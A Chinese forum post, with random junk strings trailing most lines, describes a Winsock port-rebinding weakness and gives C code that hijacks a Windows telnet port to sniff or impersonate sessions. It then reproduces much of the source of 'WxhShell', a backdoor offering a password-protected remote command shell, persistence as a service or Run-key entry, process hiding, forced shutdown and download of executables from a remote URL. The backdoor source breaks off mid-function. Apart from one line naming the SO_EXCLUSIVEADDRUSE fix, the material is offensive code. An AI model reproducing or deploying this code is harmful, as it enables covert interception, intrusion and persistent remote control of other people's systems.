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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]n v( aM?d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gRgog*z  
Px;Cg 6  
  saddr.sin_family = AF_INET; ;u-4KK  
v.g"{us  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k*$3i  
Z[L5 ;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H5xzD9K;/C  
x0+glQrNN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LI W*4r!  
iS: #o>  
  这意味着什么?意味着可以进行如下的攻击: P%>?[9!Nt  
v,1F-- v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $ |<m9CW  
>S#ul?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  tFh|V pB  
I$jvXl=$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %'ZN`XftG  
- r#K#v3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :L$4*8@`+  
ujzW|HW^v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  Y7Gs7  
NGTe4Crx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ')TPF{\#  
GESXc $E8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *HlDS22  
=uV,bG5V1  
  #include yYTVXs`fVj  
  #include A"l{?;~  
  #include "yh Pm  
  #include    ~"dhu]^  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ?J&)W,~  
  int main() t_c?Wp~tH  
  { ;e{5)@h$  
  WORD wVersionRequested; K{DAOQ.z  
  DWORD ret; 7_)|I? =0d  
  WSADATA wsaData; '"xiS$b(  
  BOOL val; lOerrP6f(  
  SOCKADDR_IN saddr; bhg}-dto  
  SOCKADDR_IN scaddr; r0\f;q  
  int err; Es8#]'Rk  
  SOCKET s; ok0X<MR!I  
  SOCKET sc; |f' 8p8J  
  int caddsize; sdr.u  
  HANDLE mt; Xr_pgW|  
  DWORD tid;   +_mr  
  wVersionRequested = MAKEWORD( 2, 2 ); rla:<6tt  
  err = WSAStartup( wVersionRequested, &wsaData ); XAD3Z?  
  if ( err != 0 ) { la, h  
  printf("error!WSAStartup failed!\n"); 9([6d.`~  
  return -1; vDE |sT  
  } P Jo  
  saddr.sin_family = AF_INET; 8z T0_vw  
   5h^[^*A?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ti_u!kNv  
bkv/I{C>?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \ TL82H@D  
  saddr.sin_port = htons(23); k0ItG?Cv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *\ECf .7jz  
  { ExrY>*v  
  printf("error!socket failed!\n"); 6 =>G#  
  return -1; ! D1zXXq  
  } _z"o1`{w  
  val = TRUE; <GZhH:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b! tludb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pXW`+<g0  
  { 8(lCi$  
  printf("error!setsockopt failed!\n"); m&El)  
  return -1; eyB_l.U7  
  } Fd8hGj1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d*-Xuv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =AkX4k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x_:hii?6V  
nVOqn\m-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v33T @  
  { J(9=T<%T  
  ret=GetLastError(); p_6P`Yx^e  
  printf("error!bind failed!\n"); A*0*sZ0  
  return -1; p24.bLr  
  } r{ @ `o@q  
  listen(s,2); (%DRt4u <H  
  while(1) =K'L|QKF  
  { s[V `e2O  
  caddsize = sizeof(scaddr); l,y^HTc}7/  
  //接受连接请求 x0G>ktWq<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JlIS0hnv  
  if(sc!=INVALID_SOCKET) vttrKVA  
  { ,nYZxYLf+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T`Hw49  
  if(mt==NULL) +x]e-P%  
  { C*pLq5s  
  printf("Thread Creat Failed!\n"); uUS)#qM |  
  break; ^ f{qJ[,  
  } 5$^c@ 0  
  } ^H!Lp[5c  
  CloseHandle(mt); X;]3$\F  
  } }td6fj_{  
  closesocket(s); b]#~39Iph  
  WSACleanup(); .@K#U52  
  return 0; i./Y w  
  }   D_ ug-<QT  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3"tg+DncC  
  { Pd],}/ZG-  
  SOCKET ss = (SOCKET)lpParam; 8IOj[&%0  
  SOCKET sc; B;c=eMw  
  unsigned char buf[4096]; uI9lK  
  SOCKADDR_IN saddr; +Ag#B*   
  long num; k2uBaj]  
  DWORD val; Xz* tbW#  
  DWORD ret; 5KaSWw/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =,E'~P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a71}y;W  
  saddr.sin_family = AF_INET; me$$he  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K~JC\a\0  
  saddr.sin_port = htons(23); OR~GOv|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (WMLNv  
  { G5+]DogS  
  printf("error!socket failed!\n"); 7b,AQ9  
  return -1; ?>TbT fmR  
  } Gx|Dql  
  val = 100; i*A$SJ:}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Kum%<[i  
  { UP*yeT,P,  
  ret = GetLastError(); O 3}P07  
  return -1; 9/H^t* 5t  
  } x`3. Wu\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d!!3"{'  
  { a;yV#Y  
  ret = GetLastError(); auoA   
  return -1; b)y<.pS\  
  } {4)5]62>u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )SD_}BY%k  
  { |vT=Nnu  
  printf("error!socket connect failed!\n"); vT}pbOTh  
  closesocket(sc); )w@y(;WJ  
  closesocket(ss); qIk )'!Vk  
  return -1; y|LXDq4Wj  
  } 6d(b'S^  
  while(1) Y?e3Bx7*b  
  { (ai72#nFtb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C64eDX^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -%N}A3m!5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wEv*1y4  
  num = recv(ss,buf,4096,0); rl41# 6  
  if(num>0) a6 * Y%?  
  send(sc,buf,num,0); P^n{Y~P=Q  
  else if(num==0) |:/ @t  
  break; rcW#6VZ=  
  num = recv(sc,buf,4096,0); .Btv}b  
  if(num>0) "rf\' 9=  
  send(ss,buf,num,0); GMyoSe%1/  
  else if(num==0) ua!D-0  
  break; m(h/:JZ\  
  } B=^2g}mgK  
  closesocket(ss); ?({PcF/  
  closesocket(sc); %Ln?dF+  
  return 0 ; 0-lPhnrp  
  } n *Q4G}p  
>02i8:Tp5K  
Mj,2\ijNM  
========================================================== e4?<GT   
?WMi S]Q\  
下边附上一个代码,,WXhSHELL = c/3^e  
O]4W|WI3  
========================================================== >DkN+S  
~c9vdK  
#include "stdafx.h" #{?m  
sCL/pb]  
#include <stdio.h> Yoj~|qL  
#include <string.h> 18J.vcP  
#include <windows.h> JJ*0M(GG  
#include <winsock2.h> ^glbxbhI4  
#include <winsvc.h> 1h& )I%`?  
#include <urlmon.h> P=}H1 #  
Py}!C@e  
#pragma comment (lib, "Ws2_32.lib") M55e=  
#pragma comment (lib, "urlmon.lib") %y!   
B/:>{2cm  
#define MAX_USER   100 // 最大客户端连接数 ~7KynE  
#define BUF_SOCK   200 // sock buffer )sMAhk|  
#define KEY_BUFF   255 // 输入 buffer a  [0N,t  
\>w@=bq26  
#define REBOOT     0   // 重启 EgkZ$ah  
#define SHUTDOWN   1   // 关机 G >I.  
s}z(|I rH  
#define DEF_PORT   5000 // 监听端口 B6^w{eXN  
<7@mg/T  
#define REG_LEN     16   // 注册表键长度 x Q@&W;  
#define SVC_LEN     80   // NT服务名长度 3T Yo  
xuw//F  
// 从dll定义API b0rt.XB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =]2 b8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $@lq}FQ%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~Q3WBOjn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O1l4gduN|i  
Q';\tGy  
// wxhshell配置信息 5EVB27k  
struct WSCFG { D>,$c  
  int ws_port;         // 监听端口 DtI%-I.  
  char ws_passstr[REG_LEN]; // 口令 2{ jtQlc  
  int ws_autoins;       // 安装标记, 1=yes 0=no iA5* _tK5  
  char ws_regname[REG_LEN]; // 注册表键名 1gf/#+$\  
  char ws_svcname[REG_LEN]; // 服务名 ]Hv*^Bak  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ])3lH%4-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q-H =wJ4R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ./aZV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q;{D8 #!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9`hpa-m@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *q\HFI  
Oi+Qy[y2  
}; Y)@oo=oG  
g: H[#I  
// default Wxhshell configuration znGZULa#  
struct WSCFG wscfg={DEF_PORT, CfazD??x  
    "xuhuanlingzhe", s8/ozaeo  
    1, (2hk <  
    "Wxhshell", WzNG<rG  
    "Wxhshell", 0KNH=;d}  
            "WxhShell Service", Sm~? zU[k/  
    "Wrsky Windows CmdShell Service", u|:UFz^p  
    "Please Input Your Password: ", Cf WK6>  
  1, }V93~>  
  "http://www.wrsky.com/wxhshell.exe", XPR:_  
  "Wxhshell.exe" [:/7OM  
    }; /cn/[O9  
&@`H^8  
// 消息定义模块 3P=Eb!qtdD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vj9`[1}1Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~7eUt^SD;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qHcY 2LV  
char *msg_ws_ext="\n\rExit."; q? gQ  
char *msg_ws_end="\n\rQuit."; ;m M\, {Z  
char *msg_ws_boot="\n\rReboot..."; 6+{nw}e8  
char *msg_ws_poff="\n\rShutdown..."; ={wjeRp  
char *msg_ws_down="\n\rSave to "; O(:u(U7e  
U)T/.L{0i  
char *msg_ws_err="\n\rErr!"; JXRmu~W~l  
char *msg_ws_ok="\n\rOK!"; :IOn`mRYu  
Nys'4kx7  
char ExeFile[MAX_PATH]; J$eZLj  
int nUser = 0; ^$Me#ls!  
HANDLE handles[MAX_USER]; oPCIlH  
int OsIsNt; P+_\}u;  
L?/M2zc9Y  
SERVICE_STATUS       serviceStatus; PN)TX~}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Krg8s!F&  
iNaC ZC  
// 函数声明 %\s#e  
int Install(void); AQ_#uxI'oa  
int Uninstall(void); J OL Z2  
int DownloadFile(char *sURL, SOCKET wsh); *N&^bF"SF  
int Boot(int flag); Yg:74; .  
void HideProc(void); }f0^9(  
int GetOsVer(void); oM? C62g\  
int Wxhshell(SOCKET wsl); Fg}5V,  
void TalkWithClient(void *cs); FB^dp}  
int CmdShell(SOCKET sock); joSr,'x  
int StartFromService(void); 1)c=15^  
int StartWxhshell(LPSTR lpCmdLine); Vq;{+j(  
JUUF^/J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qnu&GBM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c]:J/'vc  
"S:NU .c?  
// 数据结构和表定义 LTlC}3c28f  
SERVICE_TABLE_ENTRY DispatchTable[] = u9y-zhj_$  
{ SE7 (+r  
{wscfg.ws_svcname, NTServiceMain}, t]YLt ,  
{NULL, NULL} Ltq*Vcl\  
}; "}y3@ M^  
=kZwB*7  
// 自我安装 30T:* I|  
int Install(void) tMs| UC  
{ WZy6K(18"'  
  char svExeFile[MAX_PATH]; #Z3I%bkw H  
  HKEY key; 9zM4D  
  strcpy(svExeFile,ExeFile); @bVh?T0~F,  
";!1(xZr  
// 如果是win9x系统,修改注册表设为自启动 hG0lR.:  
if(!OsIsNt) { 4OESsN$O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]|\>O5eeu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ct4)faM  
  RegCloseKey(key); /%@RO^P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &@.=)4Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Jly! =Qm5  
  RegCloseKey(key); +cplM5X  
  return 0; 9zGKQ|X)  
    } myo~Qqt?  
  } 4mg 7f^[+  
} ]t!}D6p  
else { '-1jWw:8  
&4$43\(D  
// 如果是NT以上系统,安装为系统服务 (? #U&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ok.DSOT  
if (schSCManager!=0) H]n0JG9K  
{ vpr @  
  SC_HANDLE schService = CreateService OuJ y$e  
  ( '_yk_[/  
  schSCManager, e+=G-u5}-  
  wscfg.ws_svcname, YH'.Yj2  
  wscfg.ws_svcdisp, :!*;0~#  
  SERVICE_ALL_ACCESS, uu46'aT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~.y4 ,-  
  SERVICE_AUTO_START, Ph!NY i,  
  SERVICE_ERROR_NORMAL, x_^OS"h-  
  svExeFile, 0 6v5/Xf  
  NULL, 68G] a N3  
  NULL, 3@WI*PMc  
  NULL, U\!LZ?gC  
  NULL, MxvxY,~{0  
  NULL ~a0}  
  ); d'@H@  
  if (schService!=0) #(wz l  
  { TKs@?Q,J  
  CloseServiceHandle(schService); rgY?X$1q_  
  CloseServiceHandle(schSCManager); \#*;H|U.x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1*`JcUn,>  
  strcat(svExeFile,wscfg.ws_svcname); UC2 OY Zb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L08;z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5~rY=0t  
  RegCloseKey(key); T!eh?^E  
  return 0; .Y Frb+6  
    } ofhZ@3  
  } `0gK;D8t  
  CloseServiceHandle(schSCManager); WOTu" Yj  
} `  vmk  
} a9q?9X  
 C(Gb  
return 1; O5n] 4)<  
} BE@H~<E J  
RBojT   
// 自我卸载 \kRJUX! s  
int Uninstall(void) TKutO0  
{ x?& xz;  
  HKEY key; F$.s6Hh.  
?g1 .-'  
if(!OsIsNt) { ^*~u4app  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _EBDv0s  
  RegDeleteValue(key,wscfg.ws_regname); o_+Qer=O6  
  RegCloseKey(key); H" g&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G Z[5m[  
  RegDeleteValue(key,wscfg.ws_regname); c!FjHlAnP  
  RegCloseKey(key); J_br%AG<p  
  return 0; -2u+m  
  } ,rPyXS9Sa{  
} _=$!T;}lE  
} 4Tw1gas.  
else { 1|$Rzt%ge  
V<I${i$]0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L |G k}n  
if (schSCManager!=0) ;,hoX6D$  
{ V \ 8 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'cc4Y~0s  
  if (schService!=0) +}Wo=R}  
  { yX Q;LQ;  
  if(DeleteService(schService)!=0) { nU#q@p)Xg  
  CloseServiceHandle(schService); L6}x3  
  CloseServiceHandle(schSCManager); "TNUw&ih  
  return 0; .T>}O0L"  
  } u\;dU nr  
  CloseServiceHandle(schService); q2pao?aa  
  } y:Ab5/bHy  
  CloseServiceHandle(schSCManager); . zMM86c  
} 7I3CPc$  
} xE[tD? M{  
gQt@xNO  
return 1; 1VsEic  
} HWAqJb [  
e-av@a3  
// 从指定url下载文件 s+~Slgl  
int DownloadFile(char *sURL, SOCKET wsh) L2A#OZZu  
{ zt%Fvn4/pF  
  HRESULT hr; cCCplL  
char seps[]= "/"; UR=s{nFd  
char *token; 31;T$5v1  
char *file; S.4YC>E  
char myURL[MAX_PATH]; oeKc-[r  
char myFILE[MAX_PATH]; D6:J*F&?  
2^lT!X@  
strcpy(myURL,sURL); ?pY!sG  
  token=strtok(myURL,seps); ==r|]~x  
  while(token!=NULL) NX",e=  
  { !\ukb  
    file=token; #9"_|d=l  
  token=strtok(NULL,seps); LX&P]{q KS  
  } G{Q'N04RA  
<LZvh8  
GetCurrentDirectory(MAX_PATH,myFILE); mR@Xt#  
strcat(myFILE, "\\"); o/ 5 Fg>d  
strcat(myFILE, file); ZEJa dR  
  send(wsh,myFILE,strlen(myFILE),0); D/`E!6Fk=  
send(wsh,"...",3,0); Kn\(Xd.>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); za/#R_%p  
  if(hr==S_OK) B)`X 7uG  
return 0; 3]'z8i({7Y  
else /RmCMT  
return 1; {G&g+9c&  
]YzAcB.R  
} _Q}z 6+_\  
|O2PcYNu  
// 系统电源模块 }d]8fHG  
int Boot(int flag) M.Ik%nN#K0  
{ KYW1<Wcp  
  HANDLE hToken; Q~{@3<yEI  
  TOKEN_PRIVILEGES tkp; F'*&-l  
{`zF{AW8q  
  if(OsIsNt) { $O-, :<HY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); { "c,P:S]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); __c_JU  
    tkp.PrivilegeCount = 1; 8hp]+k_y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YTh4&wm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eP?|U.on  
if(flag==REBOOT) { &Hxr3[+$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *p!dd?8  
  return 0; Z`KmH.l!  
} ~.PYS!" +  
else { SLo/7$rct  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YR.'JF`C  
  return 0; S7Fxb+{6D  
} LeCU"~  
  } _@TTVd  
  else { l$KcS&{w9  
if(flag==REBOOT) { +rY0/T_0,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6vA 5;a@  
  return 0; 7A-rF U$  
} 7mNskb|  
else { ^*Fkt(ida  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M3kE91  
  return 0; mY( _-[W  
} S8,06/#  
} ISmnZ@  
<,C})H?  
return 1; T5;D0tM/  
} m`"s$\fah  
KA#-X2U/  
// win9x进程隐藏模块 Hkt'~ L*   
void HideProc(void) ]0le=Ee^%  
{ O=/Tx2i;  
)Cl&"bX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p]oo^  
  if ( hKernel != NULL ) -~k2Gy;E  
  { s_TM!LRUcw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oJ+$&P(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o*xEaD  
    FreeLibrary(hKernel); TbuR?#  
  } gjV&X N  
91XHz14  
return; .Dmvgi]  
} Vp$ckr  
-( G2@NG  
// 获取操作系统版本 !c7Od )]  
int GetOsVer(void) D>Z_N?iR  
{ QPEv@laM  
  OSVERSIONINFO winfo; BKEB,K=K@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5EUkp6Y  
  GetVersionEx(&winfo); W| p?KJk)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dr:}k*  
  return 1; +h/$_5  
  else ijB,Q>TgO  
  return 0; x{}m)2[Y  
} o<4LL7$A!  
.R,8<4  
// 客户端句柄模块 ^l,Jbt  
int Wxhshell(SOCKET wsl) n6}1{\  
{ Zn/ /u<D  
  SOCKET wsh; t}nRWo  
  struct sockaddr_in client; ;Z*RCuwg  
  DWORD myID; d\f 5\Y  
;xc  
  while(nUser<MAX_USER) 6eD[)_?]y  
{ 4$"Lf'sH6  
  int nSize=sizeof(client); PhS"tOGtX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dEiX! k$#  
  if(wsh==INVALID_SOCKET) return 1; {TNAK%'v  
"=;&{N~8U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A UK7a  
if(handles[nUser]==0) Mi/_hzZ\  
  closesocket(wsh); )C@,mgh  
else wkGF&U  
  nUser++; ?8 F7BS4oQ  
  } Yq_zlxd%F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;ORy&H aKl  
;V GrZZ  
  return 0; itU01  
} 8z-Td-R6  
83a Rq&(R  
// 关闭 socket 9maw+c!~  
void CloseIt(SOCKET wsh) gyK"#-/_d  
{ K*<n<;W  
closesocket(wsh); 9=SZL~#CE  
nUser--; [xC (t]S-  
ExitThread(0); @'<|B. f  
} (LjY<dQO  
u+'=EGl  
// 客户端请求句柄 [F%\1xh  
void TalkWithClient(void *cs) %YXC-E3@O  
{ w~9gZ&hdp  
Z%Gvf~u  
  SOCKET wsh=(SOCKET)cs; OW>U 5 \q  
  char pwd[SVC_LEN]; TwN8|ibVmP  
  char cmd[KEY_BUFF]; -h_v(s2  
char chr[1]; k|V{jB G"@  
int i,j; 580t@?  
=h)H`  
  while (nUser < MAX_USER) { Fmu R(f=  
7qk61YBL z  
if(wscfg.ws_passstr) { 7\xa_nrI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xw%z#6l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NXx}KF c  
  //ZeroMemory(pwd,KEY_BUFF); }?JO[Q +  
      i=0; Q pX@;j  
  while(i<SVC_LEN) { YpL}R#  
x R.Ql>  
  // 设置超时 mKg~8q 3  
  fd_set FdRead; ~-6;h.x=  
  struct timeval TimeOut; E(oNS\ 4  
  FD_ZERO(&FdRead); `uU@(  
  FD_SET(wsh,&FdRead); Rg6>6.fk*  
  TimeOut.tv_sec=8; 1pK7EK3R  
  TimeOut.tv_usec=0; nxt1Y04,H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2'_sGAH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uzo}?X#  
$lqV(s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U:>O6"  
  pwd=chr[0]; 5~kf:U%~  
  if(chr[0]==0xd || chr[0]==0xa) { 0kkiS 3T  
  pwd=0; _D:/?=y;e  
  break; 5v3B8 @CsA  
  } nRGH58  
  i++; ^vPa{+N  
    } >C i=H(8vN  
mF1oY[xa_  
  // 如果是非法用户,关闭 socket &ke4":7X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ";~#epPkX  
} /[q@=X&  
k5($b{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *<@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/U:u9H9v  
Gc'H F"w  
while(1) { !cpBX>{w  
FD*y[A ?  
  ZeroMemory(cmd,KEY_BUFF); +]6 EkZO  
%%_90t  
      // 自动支持客户端 telnet标准   DW-LkgfA  
  j=0; ,QQ:o'I!  
  while(j<KEY_BUFF) { *<hpq)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Zm*f2$xM  
  cmd[j]=chr[0]; fZZ!kea[  
  if(chr[0]==0xa || chr[0]==0xd) { E'ZWSpP  
  cmd[j]=0; ~ce.&C7cR  
  break; p|((r?{  
  } LOA 90.D  
  j++; gO5;hd[ l  
    } _:g V7>S?  
1$|z%(  
  // 下载文件 AL;"S;8  
  if(strstr(cmd,"http://")) { rQWft r^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H)p{T@  
  if(DownloadFile(cmd,wsh)) ._yr7uY[M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Zq" -  
  else eAqQ~)8^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l YhwV\3  
  } FLWz7Rj  
  else { n Au>i<  
Rl(b tr1w  
    switch(cmd[0]) { XBc+_=)$  
  }bHpFe  
  // 帮助 "mOoGy, (  
  case '?': { HGKm?'['   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;gc 2vDMv  
    break; o ZAjta_4  
  } +n:#Uf)  
  // 安装 M}c_KFMV  
  case 'i': { o{ (v  
    if(Install()) d. a>(G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WULj@ds\~  
    else $^l=#tV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &a0%7ea`.S  
    break; F ^\v`l,  
    } Bj2rA.M  
  // 卸载 brFOQU?  
  case 'r': { 6!'yU=Z`  
    if(Uninstall()) :eO]65N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}]Y mf  
    else F-X>| oK>z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & #|vGhA  
    break; ug{F?LW[  
    } O e#k|  
  // 显示 wxhshell 所在路径 pQ>V]M  
  case 'p': { m/ukH{H1%  
    char svExeFile[MAX_PATH]; c{ <3\  
    strcpy(svExeFile,"\n\r"); |joGrWv4  
      strcat(svExeFile,ExeFile); ~}5(J,1!  
        send(wsh,svExeFile,strlen(svExeFile),0); wHCsEp(  
    break; 8 jT"HZB6  
    } LgaJp_d>9*  
  // 重启 Q-0[l/A}a  
  case 'b': { )dV.A IQ+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?ix,Cu@M  
    if(Boot(REBOOT)) MVCCh+,GI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C+iP @~  
    else { 9GEcs(A*  
    closesocket(wsh); `+gF|o9  
    ExitThread(0); /j^zHrLN  
    } GZ e )QH  
    break; k.0C*3'  
    } ( u _ sz  
  // 关机 )CB?gW  
  case 'd': { zqeU>V~<F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  [ ~E}x  
    if(Boot(SHUTDOWN)) UOY1^wY  
